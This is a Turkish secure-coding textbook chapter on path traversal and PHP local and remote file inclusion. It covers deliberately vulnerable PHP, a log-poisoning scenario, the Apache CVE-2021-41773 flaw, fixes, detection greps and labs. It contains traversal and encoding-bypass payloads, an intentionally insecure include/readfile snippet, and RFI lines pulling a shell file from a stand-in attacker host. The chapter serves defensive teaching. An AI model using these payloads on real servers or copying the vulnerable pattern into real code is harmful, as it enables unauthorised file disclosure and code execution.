Bölüm 20
File Inclusion (LFI/RFI) & Path Traversal
Bölüm 1 (dinamik include, tehlikeli fonksiyonlar), Bölüm 4 (kanonikleştirme), Bölüm 8 (RCE), Bölüm 19 (dosya yükleme). İleri referans: Bölüm 27 (sunucu sertleştirme).
Path traversal'ı, LFI'yi ve RFI'yi tek bir kök nedene — "kullanıcı, bir dosya işleminde kullanılan yolu kontrol ediyor" — bağlayacak; kanonikleştirmenin (kontrolden önce normalize etme) neden belirleyici olduğunu; ve LFI'nin salt dosya okumadan RCE'ye nasıl tırmandığını göreceksiniz.
1. Giriş
Bu bölüm, ortak bir kök nedeni paylaşan üç yakın akrabayı ele alır: Path Traversal (dizin dışına çıkma), LFI (Local File Inclusion — yerel dosya dahil etme) ve RFI (Remote File Inclusion — uzak dosya dahil etme). Üçünün de temeli aynıdır: kullanıcı, bir dosya işleminde kullanılan yolu (path) kontrol eder ve uygulama bu yolu doğrulamadan/kanonikleştirmeden kullanır.
Farkları, dosyaya ne yapıldığıdır:
- Path traversal: dosya okunur/yazılır (readfile, fopen, file_get_contents). Sonuç: sistem dosyalarının ifşası (/etc/passwd, config, kaynak kod, sırlar).
- LFI: yerel dosya dahil edilir/çalıştırılır (include, require). PHP dahil edilen dosyayı yorumlar, bu yüzden LFI çoğu zaman RCE'ye tırmanır.
- RFI: uzak bir dosya dahil edilir; doğrudan RCE. (allow_url_include gerektirir; günümüzde çoğunlukla tarihsel.)
Path traversal'ın ne kadar temel ve tehlikeli olduğunu 2021'deki Apache açığı (CVE-2021-41773/42013, Bölüm 11) gösterdi: sunucu seviyesinde bir path normalization hatası, kimlik doğrulamasız dosya ifşasına ve (CGI etkinse) RCE'ye yol açtı; kitlesel olarak sömürüldü. Bu bölüm, hem uygulama kodundaki hem de yapılandırmadaki bu sınıfı inceler — ve Bölüm 4'te öğrendiğimiz kanonikleştirme dersinin neden hayati olduğunu kanıtlar.
2. Temel Teori
Path traversal — ../ ile kaçış. Dosya sistemleri, üst dizine çıkmak için .. kullanır. Bir uygulama, kullanıcı girdisini bir taban dizinle birleştirip dosya açtığında (/var/app/files/ + $_GET['file']), saldırgan ../../../etc/passwd göndererek taban dizinden çıkar ve sistemin herhangi bir dosyasına (sürecin okuma izni olduğu ölçüde) ulaşır. "dot-dot-slash" olarak da bilinir.
LFI — dahil etme çalıştırmadır. PHP'nin include/require'ı, dahil edilen dosyayı PHP olarak yorumlar. include($_GET['page'] . '.php') gibi bir kod, kullanıcının yol kontrolüyle keyfi yerel dosyaları dahil etmeye açıktır. Sonuç yalnızca ifşa değildir; PHP içeren herhangi bir dosya dahil edilirse çalışır.
LFI → RCE teknikleri (kavramsal). LFI, salt okumadan RCE'ye birkaç yolla tırmanır:
- Log poisoning: Saldırgan, sunucunun bir log dosyasına (erişim logu, hata logu) PHP kodu enjekte eder (ör. User-Agent başlığına), sonra o log dosyasını LFI ile dahil eder → enjekte edilen PHP çalışır.
- php://filter: Kaynak kodu base64 olarak okumak için (ifşa); XML'de olduğu gibi (Bölüm 10) ikili/özel karakterli dosyaları da okur.
- data:// / php://input: allow_url_include açıksa, saldırganın sağladığı içeriği doğrudan çalıştırma.
- Yüklenen dosya dahil etme: Bir dosya yükleme (Bölüm 19) ile PHP içeren bir dosya bırakıp onu LFI ile dahil etmek.
- Oturum//proc dahil etme: Oturum dosyalarına veya /proc/self/environ'a kod enjekte edip dahil etmek.
RFI — uzak dahil etme. include('http://saldirgan.com/shell.txt') gibi bir kod, uzak bir dosyayı çekip çalıştırır → anında RCE. Bu, allow_url_include = On gerektirir; PHP 5.2'den beri öntanımlı kapalıdır. Bu yüzden RFI bugün nadirdir ama eski/yanlış yapılandırılmış sistemlerde ölümcüldür.
Kök neden ve kanonikleştirme (Bölüm 4). Ortak kök: kullanıcı-kontrollü yol, kanonikleştirilmeden ve doğrulanmadan kullanılıyor. En kritik incelik sıralamadır: yol, doğrulanmadan önce kanonik biçimine getirilmeli (decode + normalize + realpath). Aksi hâlde saldırgan alternatif kodlamalarla (%2e%2e%2f, çift kodlama %252e, Unicode) doğrulamayı atlatır. Apache CVE-2021-41773 tam olarak bu sıra hatasıydı: karakterleri tek tek çözüp traversal'ı hepsi çözülmeden önce kontrol ediyordu.
3. Mimarisel Bakış
PATH TRAVERSAL (okuma):
$_GET['file'] = "../../../../etc/passwd"
↓ taban + girdi, kanonikleştirme yok
readfile("/var/app/files/" . girdi) → /etc/passwd okunur → ifşa
LFI (çalıştırma):
$_GET['page'] = "../../var/log/apache2/access" (+ ".php")
↓
include(taban . girdi) → log dosyası PHP olarak YORUMLANIR
↑ saldırgan önce User-Agent'a PHP enjekte etti (log poisoning)
→ enjekte edilen kod çalışır → RCE
RFI (uzak):
include("http://saldirgan.com/shell.txt") (allow_url_include=On ise)
→ uzak kod çekilir + çalıştırılır → doğrudan RCE
GÜVENLİ (kanonikleştir-sonra-doğrula):
girdi → realpath(taban . basename(girdi))
↓ sonuç taban dizinle BAŞLIYOR mu?
Evetse aç; hayırsa reddet → traversal kaçışı imkânsız
Kritik gözlem: savunma, yolu önce kanonik hâle getirip sonra taban dizin içinde olduğunu doğrulamaktır. En sağlamı ise kullanıcının yol kontrol etmemesi — bir beyaz liste/eşleme kullanmaktır.
4. Güvensiz Kod
Gerçekçi bir "sayfa yükleyici / dosya indirici" akışı:
<?php
// ⚠️ GÜVENSİZ — path traversal + LFI + RFI
declare(strict_types=1);
// 1) LFI/RFI: kullanıcı "sayfa"yı kontrol ediyor
$page = $_GET['page']; // "home", ama "../../etc/passwd" de olabilir
include($page . '.php'); // dahil = çalıştır; RFI mümkünse uzak URL
// 2) Path traversal: dosya indirme
$file = $_GET['file']; // "rapor.pdf", ama "../../../etc/passwd"
readfile('/var/app/files/' . $file); // taban dizinden çıkılabilir
// 3) "Kara liste" savunması (atlatılabilir)
$name = str_replace('../', '', $_GET['name']); // "....//" → "../" ; ayrıca kodlama
readfile('/var/app/files/' . $name);
5. Açığın Analizi
include($page . '.php') — En tehlikeli satır. include dahil edilen dosyayı çalıştırır. $page kullanıcı kontrollü olduğundan:
- LFI: page=../../../var/log/apache2/access%00 (eski PHP'de null bayt kesme) veya PHP wrapper'larıyla yerel dosya dahil edilir; log poisoning'le RCE.
- RFI: allow_url_include açıksa page=http://saldirgan.com/shell uzak kod çalıştırır.
- En azından: kaynak/config ifşası.
readfile('/var/app/files/' . $file) — Klasik path traversal. $file = ../../../etc/passwd, taban dizinden çıkıp sistem dosyasını okur (sürecin izni ölçüsünde: config, .env sırları, kaynak kod). Kanonikleştirme/doğrulama yok.
str_replace('../', '', ...) (kara liste) — Bölüm 4'teki kara liste kusuru. Tek geçişli değiştirme atlatılabilir: ....// → str_replace ortadaki ../'yi silince geriye ../ kalır. Ayrıca kodlanmış varyantlar (%2e%2e%2f, çift kodlama) hiç yakalanmaz — çünkü kanonikleştirme önce yapılmadı. Bu, Apache CVE'sinin (decode-sonra-kontrol) uygulama-kodu versiyonudur.
Kök sorun: üçünde de kullanıcı yolu kontrol ediyor ve kanonikleştirme-sonra-doğrulama yapılmıyor. include ayrıca çalıştırma riski eklediğinden LFI/RFI, salt traversal'dan daha yıkıcıdır.
6. Hacker Bakış Açısı
Saldırgan bu açıkları nasıl arar?
Yol alan parametreleri haritalar. ?page=, ?file=, ?template=, ?lang=, ?download=, ?include= gibi dosya adı/yol taşıdığı belli parametreler birincil hedeftir. Yanıtta bir dosyanın içeriği/dahil edilmesi görünüyorsa, traversal denenir.
Traversal ve kodlama dener. ../ ile başlayıp, engellenirse kodlanmış varyantlara geçer: %2e%2e%2f, çift kodlama %252e%252e%252f, Unicode, ters eğik çizgi (Windows), sondaki null bayt (eski PHP). Amaç, kanonikleştirme eksikliğini/sıra hatasını yakalamaktır. /etc/passwd klasik ilk hedeftir (okuma izni herkese açık).
include mi read mi ayırt eder. Dahil edilen dosya çalışıyorsa (LFI), saldırgan RCE'ye tırmanmayı hedefler: php://filter ile kaynak okur, log poisoning kurar, yükleme + dahil etme zinciri dener. Yalnızca okunuyorsa (traversal), config/sır/kaynak ifşasına odaklanır.
RFI'yi yoklar. allow_url_include açıksa (eski/yanlış yapılandırma), uzak bir URL dahil etmeyi dener — en hızlı RCE yolu.
Sırları hedefler. Traversal ile en değerli hedefler: .env (DB/API sırları, Bölüm 25), config dosyaları, kaynak kod (başka açıkları bulmak için), SSH anahtarları, /proc/self/environ.
Savunmacı dersi: Saldırgan kodlama katmanlarıyla oynar — bu yüzden kanonikleştirme önce gelmeli. Ayrıca include'un çalıştırma riskini bildiğinden, kullanıcı-kontrollü include her zaman kritik önceliktir.
7. Exploit Mantığı
Bu bölüm çalıştırılabilir zincirler içermez. Bu açıkların neden yüksek etkili olduğu kavramsaldır:
- Traversal = geniş ifşa. Sürecin okuyabildiği her dosya hedeftir: sırlar, config, kaynak kod, sistem dosyaları. Apache vakasında bu, kimlik doğrulamasız dosya ifşasıydı; PHP
rootçalışmadığından değer, uygulama sırlarının (imza anahtarları, DB bağlantısı, kaynak) sızmasındaydı. - LFI = ifşadan RCE'ye köprü.
includeçalıştırdığından, LFI bir dosya okuma açığı gibi başlar ama log poisoning / wrapper / yükleme zinciriyle kod çalıştırmaya tırmanır. Bu, LFI'yi traversal'dan çok daha tehlikeli yapar. - RFI = doğrudan RCE.
allow_url_includeaçıksa, tek bir uzak dahil etme anında RCE'dir. - Kanonikleştirme sıra hatası tekrar eder. Apache CVE'si, "decode-sonra-kontrol" hatasının bir kütüphanede bile felakete yol açtığını gösterdi; aynı hata uygulama kodunda da yaygındır.
Araştırmacının çerçevesi: (a) kullanıcı yol kontrol ediyor mu, (b) dosyaya ne yapılıyor (oku/dahil et/uzak), (c) kanonikleştirme kontrolden önce mi, (d) süreç neye erişebiliyor. Savunma, kullanıcının yol kontrolünü kaldırarak (beyaz liste) veya kanonikleştir-sonra-doğrula ile zinciri keser.
8. Güvenli Kod
En sağlam yaklaşım: kullanıcı yol kontrol etmesin; beyaz liste/eşleme kullan.
<?php
// ✅ GÜVENLİ — beyaz liste eşlemesi (kullanıcı yol kontrol etmiyor)
declare(strict_types=1);
// 1) LFI çözümü: kullanıcı bir ANAHTAR seçer, dosya adını uygulama belirler
$pages = [
'home' => 'pages/home.php',
'about' => 'pages/about.php',
'contact' => 'pages/contact.php',
];
$key = $_GET['page'] ?? 'home';
$file = $pages[$key] ?? $pages['home']; // eşleşmeyen → güvenli varsayılan
include __DIR__ . '/' . $file; // yol tamamen uygulama kontrolünde
// 2) Path traversal çözümü: kanonikleştir-SONRA-doğrula
$base = realpath('/var/app/files');
$name = basename($_GET['file'] ?? ''); // yol bileşenlerini at (../ etkisiz)
$target = realpath($base . '/' . $name); // sembolik linkleri de çözer
// Hedef GERÇEKTEN taban dizin içinde mi?
if ($target === false || !str_starts_with($target, $base . DIRECTORY_SEPARATOR)) {
http_response_code(404);
exit('Bulunamadı');
}
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $name . '"');
readfile($target);
php.ini seviyesinde savunma:
; RFI'yi kesin kapat
allow_url_include = Off ; (öntanımlı Off — açık olmadığından emin ol)
allow_url_fopen = Off ; uzak fopen gerekmiyorsa
; open_basedir ile dosya erişimini bir dizin ağacına hapset
open_basedir = /var/app:/tmp
Öne çıkan modern kalıplar:
- Beyaz liste/eşleme: Kullanıcı bir anahtar seçer, uygulama dosya adını belirler. include/dosya erişimi için en sağlam çözüm — kullanıcı yolu hiç kontrol etmez.
- basename(): Yol bileşenlerini (../, dizinler) atarak yalnızca dosya adını bırakır.
- realpath() + taban kontrolü: Yolu kanonikleştirir (decode + sembolik link çözme) ve sonucun taban dizinle başladığını doğrular. Kanonikleştir-sonra-doğrula ilkesi (Bölüm 4).
- allow_url_include = Off: RFI'yi kesin kapatır (öntanımlı Off).
- open_basedir: PHP dosya erişimini belirli dizinlere hapseder (Bölüm 27); traversal olsa bile hasarı sınırlar.
- include'a asla kullanıcı girdisi verme: En temel kural.
- Sunucu sertleştirme (Bölüm 27): Apache/nginx yol normalizasyonu, Require all denied, güncel sürüm.
9. Patch Analizi
Neden işe yarar? Beyaz liste eşlemesi, kullanıcıyı yol kararından tamamen dışlar; saldırganın kontrol edebileceği tek şey bir anahtardır ve eşleşmeyen anahtar güvenli varsayılana düşer — traversal/LFI/RFI imkânsızlaşır. Yolun elle kurulması gerektiğinde basename + realpath + taban kontrolü, kanonikleştirmeyi doğrulamadan önce yaparak kodlama atlatmalarını (Apache CVE'sindeki gibi) kapatır: yol önce gerçek kanonik biçimine indirgenir, sonra taban dizinde olduğu doğrulanır. allow_url_include = Off ve open_basedir ise altyapı seviyesinde ek katmanlar sağlar.
Alternatiflerin karşılaştırması:
| Yaklaşım | Traversal | LFI | RFI | Not |
|---|---|---|---|---|
Kara liste (str_replace '../') |
✗ | ✗ | ✗ | Atlatılır (kodlama, ....//) |
basename tek başına |
Kısmen | Kısmen | — | İyi ama realpath ile tamamlanmalı |
realpath + taban kontrolü |
✓ | ✓ | — | Kanonikleştir-sonra-doğrula |
| Beyaz liste/eşleme | ✓ | ✓ | ✓ | En sağlam |
allow_url_include=Off |
— | — | ✓ | RFI için temel |
open_basedir |
✓ (sınırlar) | ✓ (sınırlar) | — | Altyapı katmanı |
Performans: realpath ve basename çok hızlıdır; beyaz liste bir dizi araması. open_basedir'in küçük bir kontrol maliyeti vardır ama ihmal edilebilir. Güvenlik kazancı çok yüksektir.
10. Gerçek Hayat Senaryosu
Kurgu — bir çok-dilli kurumsal CMS. Uygulama, dil dosyalarını include('lang/' . $_GET['lang'] . '.php') ile yüklüyor. Geliştirici "sadece dil kodu gelir" varsayıyor. Bir saldırgan lang=../../../../var/log/nginx/access gönderiyor; önce User-Agent başlığına PHP kodu enjekte edip erişim loguna yazdırıyor (log poisoning), sonra LFI ile o logu dahil ettirerek RCE elde ediyor. Sunucuda .env dosyasını da okuyup DB ve ödeme sağlayıcı API anahtarlarına (Bölüm 25) ulaşıyor. Dersler: (1) include'a kullanıcı girdisi vermek RCE'ye köprüdür; beyaz liste eşlemesi gerekliydi; (2) LFI salt okuma değildir — log poisoning ile RCE'ye tırmanır; (3) traversal, uygulama sırlarını ifşa ederek etkiyi katlar.
11. Gerçek CVE Analizi — Apache Path Traversal & RCE (CVE-2021-41773 / CVE-2021-42013)
Apache güvenlik danışması, Rapid7, Qualys, CISA KEV ve MITRE/NVD ile doğrulanmıştır. Silahlaştırılmış payload verilmez.
Özet. 5 Ekim 2021'de Apache HTTP Server 2.4.49'da bir path traversal açığı (CVE-2021-41773) açıklandı; kimlik doğrulamasız saldırganlar, taban dizin dışındaki dosyaları okuyabiliyor ve (CGI etkinse) uzaktan kod çalıştırabiliyordu. Apache "yaban ortamda sömürüldüğü bilinen" bir açık olarak işaretledi. 2.4.50'deki ilk düzeltme eksik çıktı ve CVE-2021-42013 ile takip edildi; tam düzeltme 2.4.51'de geldi. CWE-22 (Path Traversal), CISA KEV, EPSS ~%94 (çok yüksek sömürü olasılığı).
Teknik neden — "kanonikleştir-sonra-doğrula" sıra hatasının ders kitabı örneği. Açık, Apache 2.4.49'da ap_normalize_path() fonksiyonuna (yol normalizasyonu) yapılan bir değişiklikten doğdu. Rapid7'nin analizine göre kusur şuydu: fonksiyon, URL-kodlu değerleri tek tek çözüyor ve traversal mantığını tüm karakterler çözülmeden önce kontrol ediyordu. Doğru yaklaşım, tüm URI'yi önce tümüyle çözüp sonra traversal taraması yapmaktı — ama Apache bunu yapmadı. Sonuç: bir traversal dizisi (..) kodlanmış hâlde (ikinci nokta %2e olarak) gönderildiğinde, kontrol onu "traversal" olarak tanımıyor, ama sonraki çözme adımı onu gerçek ../'ye dönüştürüyordu. Böylece saldırgan taban dizinden çıkıp /etc/passwd gibi dosyaları okuyabiliyordu.
Bu, tam olarak Bölüm 4'te ve bu bölümün 8. kısmında vurgulanan ilkedir: doğrulama, verinin kanonik biçiminde yapılmalıdır; aksi hâlde alternatif kodlamalar kontrolü atlatır. 2.4.50'deki düzeltme çift URL kodlamasını (%%32%65 → %2e) kapsamadığından yetersiz kaldı (CVE-2021-42013) — kanonikleştirmenin eksiksiz olması gerektiğinin ek kanıtı.
Sömürü, yalnızca öntanımlı olmayan yapılandırmalarda geçerliydi: taban dizin dışındaki dizinler Require all denied ile korunmuyorsa dosya ifşası; ayrıca mod_cgi etkinse, traversal ile /bin/sh gibi bir ikili çağrılarak RCE mümkündü. Apache genelde root çalışmadığından, salt-okuma etkisi bile uygulama sırlarını (imza anahtarları, DB dizeleri, kaynak) ifşa ederek kritikti.
Etki. Kimlik doğrulamasız, uzaktan dosya ifşası ve (CGI ile) RCE. Binlerce sunucu (Shodan/Censys) savunmasızdı; kitlesel otomatik sömürü gözlendi. Apache 2.4.51'e yükseltme ve Require all denied + CGI kapatma önerildi.
Çıkarılacak dersler:
1. Kanonikleştir-sonra-doğrula, eksiksiz olmalı. Yolu tümüyle çözmeden traversal taraması yapmak (Apache), veya kara liste kullanmak (uygulama kodu) atlatılır. Bu ilke hem kütüphane hem uygulama seviyesinde geçerlidir.
2. Eksik düzeltme tehlikelidir. 2.4.50'nin çift kodlamayı kaçırması, savunmanın tüm kodlama katmanlarını kapsaması gerektiğini gösterdi.
3. Güvenli varsayılan + sertleştirme kritik. Require all denied ve CGI'yi kapatmak (Bölüm 27) sömürüyü önlerdi; güvenli varsayılanlar (Bölüm 3) hasarı sınırlar.
12. Detection
Kod incelemede: Kullanıcı-kontrollü yolları ve dinamik include'u arayın:
grep -rnE 'include|require' src/ | grep -iE '\$_(GET|POST|REQUEST)' # LFI/RFI
grep -rnE '(readfile|fopen|file_get_contents|file_put_contents)\(.*\$_(GET|POST)' src/
grep -rn 'str_replace.*\.\./' src/ # kara liste (atlatılır)
grep -rn 'allow_url_include' php.ini # Off olmalı
Kontroller: include kullanıcı girdisi alıyor mu? Yol realpath+taban kontrolünden mi geçiyor (kanonikleştir-sonra-doğrula)? Beyaz liste var mı? allow_url_include kapalı mı?
SAST: Path traversal (CWE-22) ve dosya dahil etme (CWE-98) için olgun taint kuralları; kaynaktan dosya-işlem sink'ine izi bulur.
DAST: ../, kodlanmış ve çift-kodlanmış traversal dizileriyle dosya ifşasını; wrapper'larla LFI'yi test eder.
Loglar/SIEM — güçlü sinyaller: URI'de ../, %2e, %252e gibi traversal/kodlama kalıpları; /etc/passwd, .env, config dosyalarına erişim denemeleri; /cgi-bin/ + traversal + /bin/sh (Apache RCE); ve LFI→RCE'de web sürecinden beklenmeyen alt süreçler (Bölüm 8) ve giden bağlantılar. Apache vakasında %2e'li istekler ve daemon kullanıcısıyla id çalışması en net izlerdi.
13. Prevention
include'a kullanıcı girdisi verme: Beyaz liste/eşleme ile kullanıcı yalnızca bir anahtar seçsin.- Kanonikleştir-sonra-doğrula:
basename+realpath+ taban dizin kontrolü; kara liste asla. allow_url_include = Off: RFI'yi kesin kapat (öntanımlı Off olduğundan emin ol); gerekmiyorsaallow_url_fopen = Off.open_basedir: Dosya erişimini bir dizin ağacına hapset (Bölüm 27).- Dosyaları web-dışı sakla + kontrollü servis (Bölüm 19).
- Sunucu sertleştirme (Bölüm 27): Güncel Apache/nginx,
Require all denied, gereksiz CGI kapalı. - En az yetki: Süreç, hassas dosyalara (sırlar, kaynak) erişemesin; hasarı sınırla.
14. Mitigation
- Acil:
include'a giden kullanıcı girdisini beyaz listeye çevir;realpath+taban kontrolü ekle;allow_url_include'u kapat; WAF'ta traversal/kodlama kuralı. Apache türü sunucu açıklarında hemen yükselt + CGI kapat +Require all denied. - Geçici: Loglardan traversal/LFI kapsamını belirle; ifşa olan sırları döndür (Bölüm 25); LFI→RCE olduysa web shell/kalıcılık tara (Bölüm 34).
- Kalıcı: Beyaz liste eşlemesine geç; kanonikleştirmeyi standartlaştır;
open_basedir+ sunucu sertleştirme; testler + SAST kuralları ekle.
15. Checklist
- [ ]
include/requirehiçbir kullanıcı girdisi almıyor mu (beyaz liste eşlemesi)? - [ ] Dosya yolları
basename+realpath+ taban dizin kontrolünden mi geçiyor? - [ ] Kanonikleştirme doğrulamadan önce mi yapılıyor (kara liste yok)?
- [ ] Kodlanmış/çift-kodlanmış traversal (
%2e,%252e) ele alınıyor mu? - [ ]
allow_url_include = Offmu (RFI kapalı)? - [ ]
open_basedirile dosya erişimi sınırlı mı (Bölüm 27)? - [ ] Dosyalar web-dışı mı saklanıyor (Bölüm 19)?
- [ ] Sunucu (Apache/nginx) güncel ve
Require all deniedile sertleştirilmiş mi (Bölüm 27)? - [ ] Süreç en az yetkili mi (sırlara/kaynağa erişimi kısıtlı)?
16. Laboratuvar
Lab 20.1 — Path traversal. İzole ortamda readfile('/base/' . $_GET['file']) kur; ../ ile taban dizinden çıkıp bir üst dizindeki test dosyasını oku. basename + realpath + taban kontrolüyle düzelt.
Lab 20.2 — Kanonikleştirme sırası. str_replace('../', '', ...) kara listesini ....// ve %2e%2e%2f ile atlat. Kanonikleştir-sonra-doğrula ile düzeltip aynı girdilerin reddedildiğini gözlemle.
Lab 20.3 — LFI beyaz liste. include($_GET['page'].'.php') kur; beyaz liste eşlemesine (['home'=>'home.php']) çevirip kullanıcının yol kontrolünü kaldır.
Lab 20.4 — RFI ayarı. allow_url_include Off/On farkını (izole, güvenli test URL'iyle) gözlemle; neden öntanımlı Off olduğunu açıkla.
17. Quiz
- Path traversal, LFI ve RFI'nin ortak kök nedeni nedir? Aralarındaki fark (dosyaya ne yapıldığı) nedir?
includeneden LFI'yi salt okumadan RCE'ye tırmandırır?- LFI→RCE için üç teknik sayın (log poisoning, wrapper, yükleme).
- RFI neden bugün nadirdir? Hangi ayar gerekir?
- "Kanonikleştir-sonra-doğrula" ne demektir ve neden sıra önemlidir?
str_replace('../', '', ...)kara listesi neden atlatılır? İki atlatma yöntemi verin.basename+realpath+ taban kontrolü traversal'ı nasıl kapatır?- Beyaz liste eşlemesi neden en sağlam LFI/RFI savunmasıdır?
- Apache CVE-2021-41773'ün kök nedeni, bu bölümün hangi ilkesini (kanonikleştirme sırası) doğrular?
- 2.4.50'deki düzeltme neden eksik kaldı (CVE-2021-42013)? Bu ne öğretir?
allow_url_includeveopen_basedirhangi katmanda ne sağlar?- Traversal ile ifşa edilen en değerli hedefler nelerdir ve neden (Bölüm 25'e atıfla)?
18. Kaynakça
- OWASP, Path Traversal ve Testing for Local/Remote File Inclusion (WSTG); File Inclusion rehberleri.
- MITRE, CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal); CWE-98: PHP Remote File Inclusion; CWE-73: External Control of File Name or Path.
- MITRE / NVD, CVE-2021-41773 ve CVE-2021-42013; Apache HTTP Server güvenlik danışması (vulnerabilities_24).
- Rapid7 ve Qualys, CVE-2021-41773/42013 Analysis (ap_normalize_path, decode-sonra-kontrol); CISA KEV kaydı.
- PHP Manual,
include,require,realpath,basename,open_basedir,allow_url_includereferansları.